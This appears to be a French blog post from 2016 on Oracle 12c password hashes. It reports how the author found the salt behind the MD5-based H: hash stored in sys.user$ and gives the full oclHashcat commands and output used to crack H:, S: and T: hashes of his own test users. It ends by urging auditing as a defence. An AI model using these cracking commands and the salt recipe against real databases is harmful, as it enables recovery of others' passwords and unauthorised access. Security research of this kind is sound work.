News: Le secret du H:
- Détails
- Catégorie : News
- Publié le vendredi 22 janvier 2016 21:03
- Écrit par Administrator
- Affichages : 57703
Ca y est je me suis monté un nouveau PC ! Tant mieux pour vous me diriez-vous mais quel rapport avec Oracle? Tout simplement : dans News: Problème de sécurité sur les passwords 12c j’avais alerté sur la facilité à "éventrer" le mot de passe H: stocké dans sys.user$, mais je n’avais pas réussi à le faire moi-même car je m’étais arrêté sur le fait que oclHashcat n’était pas compatible avec ma vieille carte graphique (et je savais que j'allais bientôt en changer). J’aurai peut-être pu avec Hashcat mais je n’avais pas trop cherché. Ma nouvelle configuration avec une carte graphique GTX 960 me permet donc d’utiliser oclHashcat pour résoudre le secret mis dans le MD5 du mot de passe H:, je me suis donc un peu plus investi, et le résultat a été payant.
Pour rappel d’après le document Best of Oracle Security 2015, le mot de passe hash H: est MD5(secret + ":" + password). Dans ce document qui est en fait un support de présentation il y a écrit que le secret est "par exemple" XDB.
J’ai donc essayé bêtement de casser le mot de passe avec oclHashcat d’un compte qui n’a qu’un caractère comme mot de passe, en faisant une attaque combiné dictionnaire (avec uniquement XDB: dans la partie dictionnaire) / force brute et avec un mask de 5 caractères (4 pour XDB : + 1 pour le mot de passe en un caractère), mais échec de l’essai. Puis la même chose avec un mask de 6 caractères, échec aussi. Hors de question de tester à 7 ou +ce serait trop long pour un résultat incertain et je n’ai pas que ça à faire.
Le secret n’est donc pas "XDB:" trop simple évidement. En réfléchissant sur quoi, le secret peut dépendre, le nom du user devient un bon candidat car sous Oracle un utilisateur ne peut pas être renommé. Donc en créant un user d’un caractère avec un mot de passe d’un caractère, cela devrait augmenter les chances de trouver le secret "rapidement" . Bingo :
SQL> create user t identified by a;
SQL> select name , nvl(password,'NULL') password , spare4 from user$ where name ='T';
NAME
--------------------------------------------------------------------------------
PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
T
51D9E75BD807B1AE
S:DD3E8A22E27F6C0157B6E193CBA8EE174E4F89A5382EB23873112518AE8C;H:28FC1E2EB0E6E22
DF2D5C6B8AC083A95;T:5C576158061FBB2C74F96B71CD210C048FFAE6061AF31F77BE375F5015D6
50BDD23D40796D2B3A149F8E74D842465637CE1B18D1582C0E9925B00F1686AF365A14CDEFD4C0F5
83308B5A6036C149BF2928fc1e2eb0e6e22df2d5c6b8ac083a95
Un coup de oclHashcat:
K:\cudaHashcat-2.01>cudaHashcat64.exe -m 0 --hex-charset 28FC1E2EB0E6E22DF2D5C6B8AC083A95 -a 3 ?a?a?a?a?a?a?a
Après environ un peu plus de 2h30 d’attente le résultat tombe:
28FC1E2EB0E6E22DF2D5C6B8AC083A95 = MD5(T:XDB:a)
Déconcertant de simplicité !
Le secret est donc : nom du user en majuscule + ":XDB:", soit H := MD5(uppercase(username) + ":XDB:" + password). Tout du moins sur la version oracle testé 12.1.0.2.
Maintenant que je connais le secret, pour la génération du H:, l’attaque par force brute se résume donc au mot de passe seul à casser en MD5 puisqu’on connait le secret !!!
Je teste alors la différence de temps qu’il faut pour casser un mot de passe de type S: et H: qui d’après la présentation est en faveur de H: en terme de rapidité.
Pour cela je crée un user avec le mot de passe A1rtA2 puis je récupère les deux hash et je les passe à la moulinette oclHashCat :
K:\cudaHashcat-2.01> cudaHashcat64.exe -m --hex-charset CACB172EA16E2C6B8939EB8BD0290271 -a 3 -1 ?l?u?d R:XDB:?1?1?1?1?1?1cacb172ea16e2c6b8939eb8bd0290271:R:XDB:A1rtA2
[...]
Session.Name...: cudaHashcat
Status.........: Cracked
Input.Mode.....: Mask (R:XDB:?1?1?1?1?1?1) [12]
Hash.Target....: cacb172ea16e2c6b8939eb8bd0290271
Hash.Type......: MD5
Time.Started...: Fri Jan 22 20:45:36 2016 (1 min, 54 secs)
Speed.GPU.#1...: 134.8 MH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 15206449152/56800235584 (26.77%)
Rejected.......: 0/15206449152 (0.00%)
Restore.Point..: 15205662720/56800235584 (26.77%)
HWMon.GPU.#1...: 0% Util, 45c Temp, 967rpm Fan
Started: Fri Jan 22 20:45:36 2016
Stopped: Fri Jan 22 20:47:31 2016
K:\cudaHashcat-2.01> cudaHashcat64.exe -m 112 --hex-charset --hex-salt spare4S.txt -a 3 -1 ?l?u?d ?1?1?1?1?1?1
[...]
45cd9499997bffffae0fcf0b9b7faef02fb49253:2a499d41503ed7379780:A1rtA2
Session.Name...: cudaHashcat
Status.........: Cracked
Input.Mode.....: Mask (?1?1?1?1?1?1) [6]
Hash.Target....: 45cd9499997bffffae0fcf0b9b7faef02fb49253:...
Hash.Type......: Oracle S: Type (Oracle 11+)
Time.Started...: Fri Jan 22 20:54:45 2016 (8 secs)
Speed.GPU.#1...: 1672.2 MH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 12444499968/56800235584 (21.91%)
Rejected.......: 0/12444499968 (0.00%)
Restore.Point..: 3145728/14776336 (21.29%)
HWMon.GPU.#1...: 0% Util, 36c Temp, 966rpm Fan
Started: Fri Jan 22 20:54:45 2016
Stopped: Fri Jan 22 20:54:54 2016
1min54 pour le H: et seulement 8 secondes pour le S:. En fait je n’obtiens pas le résultat attendu à la lecture de la présentation Best of Oracle Security 2015, je mets plus de temps à casser le H:. Peut-être que je configure mal mon attaque, il faudrait que je me plonge un peu plus dans oclHashCat pour optimiser mon attaque.
Avant de finir, pour le fun, j’essaie casser le mot de passe hashé au format T: :
K:\cudaHashcat-2.01> cudaHashcat64.exe -m 12300 --hex-charset 2FDADFE7D2F04E9EE7F6EC74149D338B7CDEBF5566B3B57B5DC1922E879500044BA3AE946F8F256F67D19AD3DD8A4169F88CEBE67AD947586105C96A1853869BCDB91148CD7F0728BF75A88AC655A02E -a 3 -1 ?l?u?d ?1?1?1?1?1?1
Session.Name...: cudaHashcat
Status.........: Aborted
Input.Mode.....: Mask (?1?1?1?1?1?1) [6]
Hash.Target....: 2FDADFE7D2F04E9EE7F6EC74149D338B7CDEBF556...
Hash.Type......: Oracle T: Type (Oracle 12+)
Time.Started...: Fri Jan 22 21:07:19 2016 (32 secs)
Time.Estimated.: Fri Feb 19 06:31:55 2016 (27 days, 9 hours)
Speed.GPU.#1...: 25600 H/s
Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.......: 811008/56800235584 (0.00%)
Rejected.......: 0/811008 (0.00%)
Restore.Point..: 12288/916132832 (0.00%)
HWMon.GPU.#1...: 0% Util, 40c Temp, 972rpm Fan
Started: Fri Jan 22 21:07:19 2016
Stopped: Fri Jan 22 21:07:53 2016
Non j’abandonne 27jours maximum pour faire toutes les combinaisons sur 6 caractères sans caractère spéciaux, ma carte graphique n’est pas assez puissante ou je ne suis pas assez patient 
Pour conclure, je n’ai peut-être pas réussi à obtenir, pour l’instant, un temps de cracking du H: inférieur à celui du S:, mais je peux quand même confirmé que l’alerte précédemment remonté reste un vrai problème. Car il est clair que quand on a mis ALLOWED_LOGON_VERSION_SERVER à 12a pour forcer le chiffrement des mots de passe en PBKDF2/SHA512 pour augmenter la sécurité et que l’on se retrouve quand même avec la présence du H: chiffré en MD5, il y a un problème.
De plus il ne faut pas minorer ce type d’attaque en se disant que l’attaquant est déjà dans la base, et il a le droit de faire du select sur sys.user$ donc…. le chiffrage du mot de passe ce n’est plus très grave à ce niveau-là. Certes il est connecté grâce à un compte DBA ou bien il a accès la machine physique avec un compte identifié par l’OS comme dba (root qui rebondit sur oracle par exemple). On pourrait donc dire que cela ne lui sert à rien de s’embêter à casser des mots de passe puisqu’il peut voir les données et/ou les modifiées. Mais plusieurs raisons, me font dire le contraire :
- Premièrement dans Comment casser un mot de passe sans connexion à la base, on a vu une technique pour extraire les hash sans connexion à la base !!!
- Deuxièmement s’il est dba ou / as sysdba, il n’a pas forcément accès aux données qui seraient protégées dans un REALM (Oracle Database Vault), il lui faut donc obtenir le mot de passe d’un compte autorisé.
- Troisièmement il veut manipuler des données par l’application pour être plus discret
- Quatrièmement il est un administrateur corrompu qui vend des mots de passe.
- Cinquièmement il existe plein d’autre cas....
Si on ne peut pas empêcher un administrateur mal attentionné de récupérer les hashs alors il faut au moins qu’on détecte les tentatives. La mise en place de l’audit trail Oracle est donc fortement conseillé au niveau user mais aussi niveau sysdba (audit_sys_operations)... mais ceci est une autre histoire.
{jcomments on}